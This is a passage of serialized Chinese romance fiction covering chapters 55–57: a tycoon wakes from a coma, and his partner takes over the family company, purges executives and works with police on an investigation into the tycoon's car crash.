夏季轻轻的叹了一口气,“我不是不想搭理他,是你这实验病房人多口杂的上次他还当植物人的时候就已经能原地立正,让我颜面尽失了。如今他醒了,他肯定是有很多话想跟我说的。” “阿良这家伙实在粘人,说话又口无遮拦我实在不想丢这个脸。”虽然夏季不是个看重脸面的人,但能要脸的时候谁还愿意去做那个丢脸的人呢? “话虽如此”王今安虽然嘴巴不饶人,但毕竟都学医了,毕竟还是有点医者仁心的仁慈在的,“可他毕竟还未完全恢复,你身为家属还如此回避怕是会伤了他的心,影响后续治疗效果的。” “他不会。”夏季非常自信的笑了笑,“等你们都下班了,把他晾凉了我再去找他。” 赵嘉良今早醒来之后一直没在病房里见着夏季,就有点情绪对不了。 后面医生来查房,观察他反应的时候就提起了夏季。在听说夏季可能是去赵氏之后,赵嘉良的反应一下子很大。他虽然在床上躺了些日子,但终归肌肉萎缩的还不算厉害。一番挣扎后竟然还真给他动起来来了!在赶紧通知了李教授后,经过一番特殊手段的神经刺激性治疗后,赵嘉良竟然真的恢复了一定的行动能力,甚至被李教授连电三次后,说话都利索起来了。 王今安当时就激动的给夏季打了两个电话,但都无人接听。后面的事情就发展的理所当然了,赵嘉良这个堪称“医学奇迹”的病例,在被医生宣布脑死亡三周之后,竟然奇迹般的醒过来了!这样的结果让在场的,包括王今安在内的许多医护工作人员喜极而泣。毕业论文有着落了! 而对于赵嘉良如今的这个情况,李教授认为,除了他个体的强悍身体素质之外,他过人的意志力也是旁人难以复制的一环。 “我的意志力如何你不比谁都清楚吗?为了能尽快看看你,我每天都在拼尽全力的努力着。” 夏季是在踩着下班的时间点去跟李教授谈过之后才回到病房去见赵嘉良的。相信这一下午的时间阿久已经把这段时间的事情该交代的都跟赵嘉良说清楚了,此时的男人看起来情绪的确平静了不少。只是这些日子的煎熬让他变得超级粘人,夏季也是趁着病房没旁人了,小小的满足了一下这条粘人的大狗子。 只是不知道是不是因为依然面瘫的缘故,夏季有些遗憾没能从对方面上看到他原本还有些期待的表情。只是赵嘉良顶着一张没有表情的脸,说出一些委屈撒娇的话语来实在让人很难憋住笑啊 “宝贝,我怕我再不醒就要被挖墙脚了~” 赵嘉良从第一次带夏季见过自己的狐朋狗友之后就清楚的意识到,像夏季这种罕见的美人,即使在外声名狼藉也永远不缺觊觎之人。虽然作为一个强大的雄性,炫耀是一种本能。但赵嘉良后面也有意识的想要减少夏季和旁人的接触,因此,他为夏季修建了夏园,将各种奇珍异宝,稀罕玩意儿流水般的往里塞。却从不邀请任何朋友前往夏园做客,更不允许任何媒体来夏园拍摄采访。 正好夏季本身也不是个虚荣的人,相比于金银珠宝的璀璨,他更喜欢科学真理的光辉。也正是因为夏季有着很强的配得感,他们才能安稳的夏园这座奢靡辉煌到极点的爱巢中愉快的生活。 夏季冷哼一声,阴阳怪气,“原来在你心里我就是大难临头各自飞的金丝雀吗?” “当然不是”赵嘉良吃力的抬起手,试图去牵他的手。 只是以他目前的身体情况,这样简单的动作就让他满头大汗了。 “在我心里,你是宇宙无敌超级厉害的大宝贝。” 赵嘉良其实是个很爱说情话的家伙,只是他实在没有这方面的天赋。这种让人听着时常感到摸不着头脑的怪话,经验丰富的夏季一般会直接按照“情话”处理。 “抱歉,如果不是我,你大概也不会遭此横祸”夏季的语气中倒是没有多少抱歉的意味,“不过你放心,我跟老胡他们已经通过气了,时候借这次的事情杀鸡儆猴了。” “这些天你好好休息,配合工作。剩下的,就交给我来吧。” 随着赵炳锐的被抓,还在精神病院里接受治疗的赵天生也被带走了。 第二天老胡亲自带队,严阵以待的护送赵嘉良转院至京市第一人民医院的时候,他私下里还把夏季拉到一边问了下赵家的事情。 “小夏你跟我说实话,小赵的亲爹,还有那几个弟弟的事情到底跟他有没有关系?”老胡昨天下午去逮赵天生的时候,见到那人的惨状还挺震惊的。虽然之前看资料的时候就已经有相当的心理预期了,但一个人真的会因为车祸搞得连舌头都没了吗? 夏季微微一笑,“只能说有一点点关系吧。毕竟若不是阿良步步紧逼,他们也不会车速过快撞到护栏。” 后续车子起火,车上五个人只有前排的赵锋锐和赵天生活了下来,后座三个全部当场死亡。按照当时的调查结果,赵天生是被碎玻璃片渣穿面部,当时半个脸都被撕裂了,舌头没了是他运气不好。可圈里却盛传车祸阴谋论,说赵锋锐的情妇和两个私生子的死跟赵嘉良脱不了关系。甚至后面谣言愈传愈烈,后面赵天生的舌头是赵嘉良亲手割掉的几乎都成了圈内约定俗成的事实。 “老胡我知道你在担心什么。我可以替阿良作担保,他确实是个遵纪守法的好人。当然,作为商人为了挣钱有时候会干点下作事儿,但我可以保证,他没干过违法犯罪的事情。至少你们担心的杀人放火什么的,都不沾边。” 也不知是不是操心过多,还远不到退休年纪却一头银发的老胡拍了拍夏季的肩膀,“你小子,奸诈的跟什么似的你对象在网络上都吹成爱国商人,励志偶像了。这节奏是你带的吧?” 夏季笑而不语。 “我说你以前也是被不良舆论荼毒过的”说到这儿,老胡似是想到了什么,“你不会还因为当初组织不让你澄清,让你当了四五年知名金丝雀而不爽吧?” “你说呢?”夏季斜睨了他一眼,“当初喻馨和夏荣疯狂造谣的时候,不是你说的,我这种烂名声是干保密工作的先天圣体。现在保密工作结束,成果都在月亮上跑了,我的名声呢?组织把我忘了是吧?” “呃”老胡一时语塞,不得不承认他真忘了这事儿,“我瞧着你也不是很需要吧。” 这其实也真不怪老胡,主要是夏季确实也不怎么在乎名声。说是京圈第一金丝雀,但这又何尝不是对他的外在容貌和驾驭赵狗能力的一种肯定呢? 再加上资本家的糖衣炮弹实在太过于凶猛,夏季在保密工作结束之后顺利进入科学院念起了博士后。一边享受着国家级研究院的政策补贴,一边被赵嘉良这个大资本家精心供养。即使名声不好,但有赵嘉良在前面顶着,就连喻馨和夏荣见了他都得绕道走。这就让当时的夏季产生了一种,清者自清的错觉。 只是在赵嘉良出事之后,如周镇川之流的那些曾经多看一眼都不敢的家伙,一个个都都跃跃欲试起来了。夏季就意识到,如果没有绝对的实力,各种阴招都会接踵而至。 “老胡我无意给您添麻烦,我自己的名声我自己会去洗,会去挣,但阿良的事情,还请您多多费心。”夏季倒是完全没有就这种小事跟老胡掰扯的意思,“我知道你平时也是工作繁忙,能不给您添麻烦我不会找您。” “理解,应该的。”老胡郑重的点了点头,然后被夏季说着说着,他脑子一热就承诺欠了夏季个人情。 等到任务完成,散伙回单位的时候,老胡才后知后觉的意识到,自己是不是被夏季这小子忽悠了? “谈完了?”作为此次行动的重点保护对象,赵嘉良虽然百般推拒,但还是没能推脱掉这次隆重的转院行动。 他并不认识老胡,但看夏季跟对方很熟的样子也是识趣的没有多问。 “嗯,谈完了。”赵嘉良这次住的公立医院的单间,条件什么的跟之前完全没得比。夏季环顾了一下这个装修风格十分有年代感的独立病房,“条件有限你克服一下。” 说着他又拿了一叠文件,让赵嘉良签字。 男人也是非常爽快的,看都没看一眼就歘的签完了。 “我醒了的事情现在已经人尽皆知了,既然如此,你让林沐阳滚回家去吧。” 虽然之前赵嘉良躺着,但他听得到也能思考。在得知林沐阳竟然胆大包天的趁自己动弹不得之际跟夏季告白,还妄图给夏季当狗之后,他简直是勃然大怒。那天,他气的硬是一晚上都没睡着。 还有那个周镇川,特么的八百年前的未婚夫了,自己为钱放弃的夏季,现在才挣了几个子儿就胆敢吃回头草了? 这帮人一个个的还真当自己死了啊! 夏季不明所以,“可你现在要继续治疗,还要做复健,工作的事情不急于一时的。” “不行!”赵嘉良大声反驳,“林沐阳就是个废物!他在林家连个屁都捞不着,让他来赵氏顶个一两天还行,他多待一天就多一份不安定!” 在明确表示自己可以一边治疗,一边复健并且一边远程办公后,夏季最后还是拗不过他,同意了他的要求。 “行吧,明天我跟董事会那边说一声给你恢复职位。”夏季如是说。 “啥?”赵嘉良傻眼了,“我这才睡了不到一个月,公司职位都没了?” 夏季从他手中抽出两份文件,理直气壮的说,“你签之前都没看看内容吗?这里一份是股权转让协议,一份是离职申请。” 如果是换了旁人,赵嘉良肯定是不会允许有人触碰自己的利益核心的,但夏季不是旁人。 所以他只是有些疑惑又有些高兴的说,“宝贝你终于肯拿我的股份啦?你是开始对经商感兴趣了,还是单纯的愿意接受我的聘礼了?” 夏季只是冷冷的笑了一下,“都不是,我只是忽然发现你这个煞笔靠不住,我决定亲自出马。虽然你的这次车祸有我带来的不稳定因素在里面,但亲爱的阿良,你扪心自问,能够如此轻易的被人抓住机会,你曾经的心软有没有在其中贡献一份力呢?” “我早就提醒过你的,既然决定斩草就要除根。” 夏季跟赵嘉良确定关系的时候,赵家的事情已经尘埃落定了。赵锋锐喜提精神病院永久大礼包,赵炳锐没了老婆娘家的助力被赵嘉良打压的抬不起头。 当时还不了解赵家内情的夏季只是很单纯的想着,既然决定跟赵嘉良在一起,那就要得到双方家人的认可和祝福比较好。 夏季这边派出了王今安这个异父异母的亲姐姐以及亦师亦父的王院士作为己方家人,而赵嘉良看着夏季那边的豪华阵容,顿时觉得自己这边有点拿不出手了,但迫于压力他还是祭出了自己唯二的两个反骨血亲。也就是在这种情形下,夏季第一次见到了赵嘉良为数不多的“亲人”。 或许是见多了虚情假意的血亲,只这一面,夏季就觉得晦气不已,甚至在事后还跟赵嘉良发生了正式交往以来的第一次争吵。当然,这次争吵最后也是以赵嘉良的认错道歉告终,但经过这事之后夏季就跟赵嘉良开诚布公的谈过。 “你家过往的那些事情过去也就过去了,我不想深究。但你既然选择跟我在一起了,那你就要对我有最基本的忠诚!” 只用这一句话,赵嘉良对夏季就再无秘密。只是已经发生的事情夏季无法改变,但他无法容许自己的身边有赵天生这么一个定时炸弹一般的存在。于是当夏季准备彻底解决掉赵天生一劳永逸的时候,赵嘉良还是踌躇的表达了自己的意见。 “虽然我对赵锋锐和他那个绿茶白月光深恶痛绝,但赵天生他罪不至死吧。” 生在这样的家庭里,赵天生能长成这般天真烂漫不谙世事的性子,除了父母的溺爱之外,三个哥哥对他都很不错大概也是原因之一。 “我母亲刚去世那阵子,赵家容不下我。我最难的那阵子,在赵家连饭都吃不饱。只有天生会冒着被赵锋锐骂的风险,不仅会一日三餐的拉着我上桌吃饭,还会把自己的一半零花钱分给我。”这样的情况,赵天生坚持了半年,直到赵嘉良被外公外婆接回余家。 只是等赵嘉良在外祖家养精蓄锐,成功杀回来的时候赵天生也逐渐被教养成了跟他那两个哥哥一样愚蠢贪婪的模样,整个人也算是废了。 念在当初的吃饭零花钱的份儿上,赵嘉良总是不愿意对他下死手的。 所以当初夏季提议要把赵天生送出国去的时,赵嘉良于心不忍,还是拒绝了夏季的这个提议。正好赵炳锐一直以为赵天生是自己亲生的,毕竟他跟赵锋锐的另外两个儿子比起来,性情明显更为善良些。于是赵嘉良便顺水推舟,将车祸后毁容残疾的赵天生送到了赵炳锐那边,全了他父慈子孝的心愿。而后面赵炳锐也确实待赵天生不错,至此,赵嘉良觉得自己也算是对得起当初的那份善意了。 甚至他后面还以此事沾沾自喜的跟夏季吹过牛,他说:人之初性本善,咱们还是要多做好事。别整天想着斩草除根,打打杀杀的~你瞧,我就比较牛逼。我每日行善,老天不仅帮我直接了结了最大的竞争对手,还从天而降半个苹果把老婆送到我怀里。 当时正被勒令保持低调的夏季虽然觉得不妥,但看赵嘉良这么自信满满又狗运当头,便没有多说什么,默认了赵嘉良的决定。而事实证明,这五年多来赵天生也还算老实。 大家如果都按照那时的情况,过着井水不犯河水的生活倒也不失为一种聪明的生活方式。可人心这种东西总是最为难料,曾经顶着被爸妈骂也会照顾大哥的小弟,最后竟成了狠下心来要大哥命的那个人,这其中发生过什么即使不用刻意调查夏季也能猜的个七七八八。 “不管你承不承认,赵天生就算天性是好的,可在赵家那种环境的熏陶下他早就长废了。”夏季这次是无论如何都不可能会手下留情,“我觉得对他来说,从那场车祸中活下来本身就是一种痛苦。所以这次我不会考虑把他远远的送出国,我会送他去见他亲爹妈。对于这点,你还有意见吗?” 或许是因为面部神经不听使唤,依然面瘫的赵嘉良脸上没什么表情,“都听你的。” 夏季叹了口气,靠近男人轻减了不少的男人,轻轻的将头靠在他的肩膀上。语气软和下来时仿佛是能够迷惑人心的妖精一般,“阿良,你要记住。如今这个世界上只有我才是真心实意对你好的人,你要相信,无论我做什么,都绝不会害你。” 赵嘉良几乎是用尽全身力气,才好不容易抬手回抱住对方,“我一直相信你。” 于是他相信的代价便是第二天再度登上财经频道头条的赵氏股权变动。 此时,赵嘉良醒来的消息爆出后,赵氏的股票接连两天涨停了。公司上下喜气洋洋,普天同庆。在赵嘉良的强烈要求下,林沐阳当天就收拾东西卷铺盖走人了,成为了赵氏有史以来在位时间最短的执行董事。而接替他的,则是赵嘉良本人。 因为身体原因赵嘉良恢复职位之后并没有回到公司述职。但现在科技发达,再加上赵氏一直都是他地盘,可用之人很多,所以他只需幕后主持大局即可。至于一些细节的事情在赵氏官方公布即将进行股权变动之后,便是夏季要做事的征兆了。 相较于其他公司一旦出现股权变动多少会出现股东不满,股民不信任危机的情况不同。这位曾经在京圈里名声极差,被称为公认的貌美金丝雀的夏季这时候几乎是直接替赵嘉良做主,从他口袋里拿走了一半的赵氏股份。对此,赵嘉良本人都不敢吱声提出疑问,下面的那帮股东就算有问题,但在看到被夏季吊在面前的新材料专利权后,他们一个个就跟瞅着胡萝卜的驴似的,哼哧哼哧的跑的很流畅。 对此,外界的评价是:赵总和夏二少真爱无敌,共渡难关后恐好事在即。赵总如此大手笔,想来是被自己植物人期间不离不弃,还力挽狂澜的男朋友感动到了,此举是在支付聘礼。 这个合情合理的解释得到了绝大多数人的认可,甚至王今安都忍不住跑来问夏季是不是准备跟赵嘉良领证结婚了。毕竟赵嘉良刚出事那会儿,夏季就曾黯然神伤的后悔过没有尽早跟赵嘉良领证。 “你怎么会这么认为?”夏季的反应却跟当时截然相反。 王今安不明所以,“那你白拿人家一半身家是什么意思?” 毕竟从小王静女士就教育他们做人要坦荡,不会贪图不属于自己的东西。 夏季笑笑,“我又不白拿他的。结不结婚什么,还是等一切的事情都了结了再说吧。” 夏季的想法其实很简单。 结婚,对于任何人来说都是开启人生新阶段的重要事件。夏季希望他和赵嘉良都能以最好的姿态,清清白白的开启未来的人生之路。 只是在那之前,他得先把该清算的都清算掉。 大概是赵嘉良已醒,从夏季成为赵氏最高话事人之后,整个公司的气氛反而变得有些紧张了。而夏季后续的动作也愈发的张扬,仿佛是没有了任何顾忌一般。 自从赵炳锐被警方带走调查之后他就再也没有回来,而夏季自那天之后便开始了两天来一次公司的频率,而他每来一次,都会有一位德高望重的公司高管被撸掉职位。这些人的结局好一点的就是被辞退,差一点的则是跟赵炳锐一样喜提玫瑰金手镯,上演铁窗泪。其缘由五花八门,亦真亦假。 下面有员工讨论的时候说,现在的赵氏就好像在搞那个什么文字狱。赵嘉良是被美人迷了心智的昏君,而夏季就是那个仗着皇帝宠爱在朝中为非作歹的妖妃。 在赵嘉良的放任和股东们的敢怒不敢言下,短短半个月时间,赵氏的管理层人员直接少了一半。而剩下的那一半高层人员除了超级加倍的工作量之外,还得日常问候昏君和妖妃以表忠心。毕竟现在这年头高薪工作不好找,而赵氏却恰好是圈内薪酬福利最好的。所以即使有些人对现下的情形不满,但看在每月准时准点发放的丰厚薪酬还是选择了忍气吞声。 但夏季此举所带来的好处也是显而易见的。 那些尸位裹餐的高层少了一半之后公司人资支出少了一大截不说,剩下高层人员的工作效率也提高了不止一星半点。但夏季跑来赵氏插手其实并非有意帮赵嘉良提高工作效率,他做的这些事主要还是给老胡添业绩。 后续调查已经证明了,赵嘉良的这次车祸跟五年前林教授的那起车祸不仅手段相同目的也很类似。 夏季作为跟两次车祸都有些关系的内部人士,主动申请了协助调查。因此,他有幸再次见到了赵炳锐。 “装疯卖傻是赵家传统吗?我冷眼瞧着你家赵总看着不是挺正常的吗?”老胡手下的侦查员已经轮番申了赵炳锐好几次了,但直到现在还是有一个关键信息没有问出来。 夏季仿佛是听到什么特别好笑的笑话一般,“谁告诉你他很正常的?” 老胡一噎,大吃一惊,“你喜欢神经病啊?” “我听说这毛病有点家族遗传,不过还好你不能生孩子,以后没有这方面的顾虑也挺好。” 夏季:…… 正当夏季准备骂人的时候老胡忽然说,“对了,你妈那个小男朋友这几天也关我们这儿呢,有兴趣去看看不?” “闫庆泽吗?我都不认识他去看什么?”夏季虽然一早就知道这人的存在,但他对这种早年当鸭出身的男人真不敢兴趣。 老胡像是知道自己刚刚这个玩笑开的有点过份了,像是想弥补点儿什么似的说,“他有个秘密,喻馨和夏荣都不知道~” “我不感兴趣。”夏季想都没想的斩钉截铁道。 见他想走,老胡赶紧拉住了他,“好吧好吧,实话跟你说吧。主要是上面觉得闫庆泽这小子嚯嚯的几个年轻有天赋的学生蛮可惜,听说你跟其中有些认识,你看你能不能去跟那些学生说道说道,让他们重回正途啊?” 即使夏季不愿意,但还是被迫听完了老胡那个所谓的,关于闫庆泽的“秘密。” “就这?”别看喻馨自诩跟圈外小男友交往生子是出于真爱。可这个姓闫的对喻馨口袋里的钱,那也绝对是真爱了~ 老胡跟他讲完闫庆泽的调查背景后,夏季面色不变,“物以类聚人以群分,能做喻馨真爱的还能是什么好人?” 毕竟喻馨早已把夏季三观正的最低道德底线刷新的低的不能再低了。跟喻馨这种杀夫杀子的女人相比,闫庆泽这种在城里骗富婆钱养乡下老婆孩子的行为竟然都显得眉清目秀了起来~ 第56章 按闫庆泽的说法, 他最开始其实就是个夜场男模。只是天时地利人和,刚开始干这行还算干净的他“在最美好的年华遇到了最正确的富婆”。 闫庆泽一开始被喻馨选中的时候还挺惊喜,谨小慎微的小心伺候生怕失了金主的心。而那时候的喻馨虽还不是影后, 但也是小有名气的内娱小花。后面她借着夏听风太太的身份越爬越高, 闫庆泽也从最开始的唯唯诺诺逐渐大了胆子。 但那时候的夏听风毕竟还在,闫庆泽又是个见不得光的身份,所以并没有办法借着喻馨的势力去混娱乐圈, 抛头露面。 “后面夏听风死了,闫庆泽年纪又大了,让他出道跟他儿子一起当明星也不现实。但他那时候都跟了喻馨十几年了,三十多岁的男人还靠女人过活也不好听。他一开始只是借着喻馨的名声接些小代言, 托点关系挣点介绍费之类的。但后面被那些不怀好意的人盯上后,他这种见财起意的人几乎没怎么多想就毫不犹豫的答应了。”老胡是这么跟夏季说的, “不管闫庆泽知不知情,他确实是借着喻馨在娱乐公司的人脉地位, 用一些一般娱乐公司根本不可能给新人开出的条件, 去吸引一些优质学子改行。” 蒋靖川就是其中的一个典型。 其实在《一起去郊游吧》节目播出之后, 就有人复盘过蒋靖川的出道之路。这时人们才发现,蒋靖川的出道其实是非常不符合商业逻辑的。 一个出身单亲教师家庭的,品学兼优的理工男。虽然长得还可以, 但完全达不到夏季这种能脸蛋一统内娱江山的程度。再加上蒋靖川唱歌只是普通人中等偏上水平,演技更是一坨。除了一个京大毕业生的噱头, 他出道相较于其他职业练习生根本没有任何优势。 可就是这么一个业务能力极为拉胯的男生, 却偏偏被闫庆泽推荐进入了喻馨的悦心娱乐,成了当年的重点培养对象。闫庆泽的粉丝们也大都是他出道那年,被铺天盖地的宣发吸引入坑的。刚出道的时候,闫庆泽可以说是自愿逆天。但业务能力不够, 本身又没有演戏天赋的他在过了公司强推的阶段之后,这几年都在走下坡路。不然也不会沦落到去《郊游吧》节目里去当凑数配角。 “这么看其实也蛮好理解的。很多年轻的学生对未来没有清晰的人生规划,而他们的成绩又普遍很好,平时很受师长同学的追捧于是形成了自己很有能力,无论做什么都很容易获得成功的错觉。” 在闫庆泽和其背后团队的刻意营造下,这位原本被林教授视为关门弟子的高考状元稀里糊涂的就跑去当明星了。在资本的刻意吹捧下,蒋靖川在娱乐圈的头两年啥成就都没有,却也赚的盆满钵满。在他决心在这一行深耕,为家人创造更好的生活条件后,他背后的团队便逐渐减少投入。于是就有了蒋靖川如今越来越力不从心的错觉。 只是这个智商很高的年轻人在认识夏季之前从来没有怀疑过原来自己的人生是被人做过局的,只是反省自己是不是能力不够,辜负了公司的栽培。而等到聪明的他时候终于转过弯来的时候,一切都晚了。 “其实蒋靖川前段时间给我发过消息,问他现在想重考科学院的研究生还来不来得及。”说起林教授,夏季还是挺唏嘘的,“可惜了,不然现在的我跟蒋靖川说不定还是同学同事了呢。” 老胡也是嗤了一声,“所以闫庆泽这种人真的太特么可恶了!” “他能判几年?”这是夏季比较关心的问题。 但非常遗憾的是,像蒋靖川这种被纸醉金迷糊了眼的年轻人都是自愿放弃学业的。闫庆泽虽然干的事情很CS,但从严格意义上来说能不能定罪都还是两说。 “其实他这条线查了这么久早就查清楚了。上面几次都说要把蒋靖川给放了,可我不甘心呐。”老胡自嘲的笑了笑,“可他一句不知道,不清楚,只是纯纯奔钱去的,定罪都难。” 夏季不置可否的笑笑,“我忽然明白你为什么特地绕路带我过来瞅一眼闫庆泽了。” 说着他拍了拍老胡的肩膀,“虽然我也觉得这种人还是送进去的好,但里面有里面的解决方式,外面有外面的处理方法。” 为人还算比较正派的老胡舒了一口气,还是小声提醒了他两句,“你小子可别知法犯法。” 夏季轻嗤道,“想什么呢你?还真把我当除魔卫道的大善人了?” 只是闫庆泽这种人的弱点实在太过于明显,而偏偏他的弱点又是夏季,或者说是赵嘉良的强项。这不就正好专业对口了嘛…… 老胡亲自把夏季送出单位大门,走的这几步路上也是跟他简单聊了聊,主要都是关心赵嘉良的身体情况。 “他身体底子好,恢复的不错。”因此夏季这两天的心情也很不错,“您别送了,我现在去医院陪他拆线。他这次受过伤之后性子愈发粘人了,早上我不在他都不肯拆线。” “啧,真是跟养了个儿子似的。” 听着他这种疑似炫耀一般的抱怨话语,老胡讪笑两声,“对象嘛,都得哄着的,那我就不送了。” 别看夏季如今是把前几年积累的年假一次性休完,但这个年假他过的其实比上班还糟心。尤其是来赵某人的病房,看着他坐姿乖巧,笑容诡异的等待着的模样夏季强忍住翻白眼的冲动,真的十分想明天就销假回去上班。他是真心觉得,上班都比跟赵嘉良待一起轻松愉快的多。 “你不会笑就别笑了行吗?”夏季叹了口气,把外套往一旁的椅子上一扔。 也不知是不是面瘫也同时会影响发声系统,赵嘉良的语气也听不出什么情绪,“可医生都鼓励我尽可能的丰富面部表情,这样有助于我的面部神经恢复。” 夏季手上动作一顿,“那行吧。不是说非要我陪着拆线才行吗?我回来了,拆吗?” 明明神经功能尚未完全恢复,可男人那如同黑豹一般身手敏捷的攀上后背却让夏季只感觉到危险。至于某些人一直心心念念期盼着赵嘉良即使醒了也一定得残了才能遂愿,怕是极大可能得愿望落空了。 “宝贝儿,我怎么觉得自从醒来之后你对我变得好冷淡啊。”如果是以前,赵嘉良说这种话的时候一定会语气委屈巴拉的。但如今的他这话只会让人感觉冰冷无情,满是威胁感。若不是夏季实在是太了解他了,恐怕也会因为他的语气而感到不爽。 “我这段时间每天跟头牛似的,两眼一睁就是干。你觉得我有闲心对你热情吗?” 也不知道夏季手上是怎么使劲儿的,赵嘉良只感觉自己胳膊一麻,他立刻就失去了对怀中人儿的控制权。 还来不及闷哼一声,下一秒就是一阵熟悉的天旋地转。等赵嘉良终于咧嘴笑起来的时候,他已经整个人仰躺在公立医院并不算十分宽敞的病床上。而夏季则是以一种更不客气的姿势一脚踩在他的腰侧,整个人的重心无可避免的集中在跨坐于男人身上的某处 “老婆~”如果不是声音和表情限制了发挥,赵嘉良觉得这么好的气氛自己理应当场把人拿下。 可偏偏他面瘫之后的表情实在太过于搞笑了,夏季本来都有点想发火了,但看着对方那张明明做不出任何表情却非要撒娇勾引人的帅脸笑点略微有点低的夏季还是憋不住的笑出了声。 “别笑了”赵嘉良无奈的把一开始还只是捂唇轻笑,后面直接笑的趴自己胸口的用力摁住。 他是真有点郁闷了,“我的脸有那么好笑吗?” 平心而论,赵嘉良的这张脸长得还是很不错的。只是再好看的脸如果五官动起来各动各的,也难免给人一种莫名的喜感。 而夏季这人看着高冷,实际上本人笑点极低。深谙这点的赵嘉良只要稍加学习,就能把夏季哄得开开心心。而这次,他长着自己搞笑的面瘫脸,和真诚的爱意,很快就把心情不佳的夏二少爷哄得心甘情愿的待在他怀里了。 “最近住院太闲了,稍微在网上进修了一下幽默性格。果然,幽默也是男人最好的嫁妆之一。”对此,赵嘉良不以为耻反以为荣,“对了宝贝,现在大家都在猜测咱们即将结婚。所以,收了彩礼的你准备什么时候跟我去民政局啊?” “等我把嫁妆准备好了再说吧。”夏季敛起笑意,“把你赵氏的法务团队给我继续用段时间,夏家的遗产官司打完了我自然会带着丰厚的嫁妆便宜你的。” 说着他,拍了拍男人的胸膛。 赵嘉良“嘶”了一声,“这可不好办呐” 虽然华国的司法效率放在全世界都算是速度还可以的了。 但继承权官司这玩意儿但凡沾过边的人都知道,一旦开始了就特别费时间。就夏家那个体量,官司打上个好几年都正常。 赵嘉良听他这么一说就有点急了,“你那亲妈弟弟跟鬼一样难缠。嫁妆我也给你出行吗?你别等了,我等的黄花菜都快凉了。” 回应他的是夏季的反手一巴掌,“就你这身子还是给我老实躺着吧。” 大概是夏燃的过于爽快让夏季忽然就理解了挣钱的快乐,“在你出院之前,钱的事情放着让我来。” 第57章 赵嘉良车祸外伤并不多, 但不代表没有。 他的右肩到后背加一起缝了三十多针,本来今天早上就应该拆线的,但也不知道他本人怎么想的, 坚持说对象不在不肯拆。问原因就是怕疼, 要对象哄。在他这不要脸的胡搅蛮缠下,公立医院的医生护士都拿他没辙了,只能打电话给赵嘉良的唯一亲属。只是当时夏季人已经在老胡那儿, 在跟医护人员连连道歉后表示下午一定会赶回来,到时候再陪同赵嘉良拆线。 只是下午夏季回来之后跟赵嘉良“友善沟通”的时间有点长。实在等不及的护士过来敲门的时候还颇有点打断他们“好事”的感觉,浑身不自在。 后面拆线结束,赵嘉良的外伤恢复的很好, 只有神经损伤面瘫能否彻底恢复,运动神经功能能否恢复, 都还是个未知数。 “宝贝,如果……我是说如果, 我无法恢复到之前的状态, 就这样彻底瘫了, 你还愿意跟我结婚吗?”其实赵嘉良问出这个问题的时候自己心里并没有太多的把握。 他很爱夏季,也如愿得到了他。 只是那时候的赵嘉良对自己充满了自信,他觉得自己就是这个世界上最屌的, 除了自己之外不会还有其他人能比自己更加英俊多金,更加忠贞不二的深爱着夏季。赵嘉良曾自恋的说过:除了我之外再也不会有第二个人能比我对夏季更好! 而事实上, 从他修建夏园, 为科学院夏季专业相关项目捐钱捐物,把夏季高高捧起让他养的像小王子一样骄矜又傲慢。习惯仰望着爱人的赵嘉良心里其实是沾沾自喜的,他喜欢这种向全世界炫耀自己把爱人养的超级好的成就感。 可如今自己表情怪异的脸,和勉强脱离轮椅能走几步的腿哪怕是再自信心爆棚的男人也难免会产生一些怅然若失的情绪。 “呵。”夏季笑了笑, 低声道,“你刚刚催促我赶紧跟你领证的时候可不是这么说的” 赵嘉良也笑了,只可惜面部神经不听使唤,让他笑起来比哭还难看,“宝贝,我害怕的从来不是自己可能变成残疾人,而是害怕残疾后的我没办法让你感到幸福……” 毕竟现在的他,想要抬手拥住自己的心肝大宝贝都得拼尽全身力量,汗流浃背。 夏季没好气的瞪了他一眼,表情有点凶,但揪他耳朵的手却有点点罕见的温柔,“放心吧,就算有朝一日我决定抛弃你,也不会是因为这种外在原因的。” “谈话时间到此结束了亲爱的赵总,您该去做复健了。” 其实相比于面瘫,当务之急赵嘉良更需要的是肢体协调的恢复性训练。 夏季陪他做过几次复健,只觉得很无聊。但身为一个负责任的对象,在对方最脆弱最离不开人的时候他若是就这么走了也挺无情的。夏季不想当个冷酷无情的人,尤其是赵嘉良满头大汗做复健的时候,他这时候要是跑路了,那跟喻馨周镇川之流又有什么区别呢?! 不过唯一能让人感到欣慰的是,赵嘉良虽然复健的十分辛苦,但好歹每天都看到成效。 而隔壁的另外两个康复室里,相比那些哭爹喊娘的可怜人,夏季也没什么怨言了。 趁着赵嘉良忙着蹒跚学步的时候,夏季百无聊赖的翻了下手机消息。 王老一把年纪的人了始终不爱用手机发通讯消息,有什么事情还是习惯跟学生邮件沟通。夏季翻看工作邮箱的时候就发现了他发来的询问邮件,同时还抄送了好几个团队负责人。 看着那个令人两眼一黑的邮件标题,夏季十分懊恼的开始回复邮件。 按下“发送”键后,他还不甚服气的点开了王老的外孙女的聊天对话框,一通输入。 王今安那边回的是语音消息,回的还挺快的。夏季点开播放键,女人漫不经心中带着点儿笑意的声音从手机外放中流露出来。 在他不远处由专业人员搀扶着做锻炼的赵嘉良的注意力一下子就从自己的身上转移到了夏季身上…… “赵先生,您今天的运动量已经达标了,如果累了的话可以去休息了。”因为赵嘉良的身份特殊性,这位复健师还是老胡托关系找熟人从专门的机构调过来帮助他做恢复的。 一开始这位年轻的复健师还有些担心赵嘉良这种知名富豪会不好相与,不过这两天接触下来她可太喜欢赵总了。 毕竟一个身体底子不错,能够看到康复希望的患者远比那种希望渺茫,无时无刻不需要鼓励的患者来的有盼头的多。 当然,赵嘉良也对她的会看眼色十分满意。 “好的,今天也是麻烦您了。”赵嘉良匆匆向她道了谢,却耳尖的听到王今安似乎说了句什么:给你介绍两个人间尤物,记得准时到什么的 听到这话他哪里还按捺的住? 本就因为身体不便,努力复健了两天也没多少进展而焦心不已,之前试图从夏季嘴里要个承诺却又只得到模棱两可的回复赵嘉良这一下午都忧心忡忡,再想到夏季那个从来就对自己看不顺眼的姐姐,他真是快被气死了~ “结束了?”夏季结束了王今安的交流,刚收起手机都不用抬头就知道赵嘉良走到跟前了。 这个男人虽然因为车祸意外消瘦了不少,但他那傲人的体格摆在那儿,即使还隔着两三步的距离那无可忽视的阴影还是会让会让人无可避免的有些压迫感。不过已经习惯他这些小动作的夏季只是收起手机,头也不抬的说,“今安姐喊我去吃宵夜,我先送你回去休息” “一起去。”赵嘉良不容置喙的开口道。 “什么?”夏季这才有些意外的抬头扫视了一眼男人略显半身不遂的高大身体。 也幸亏赵嘉良面瘫了,不然被心上人用这种眼神看了一遍之后他怕是要当场变脸的。 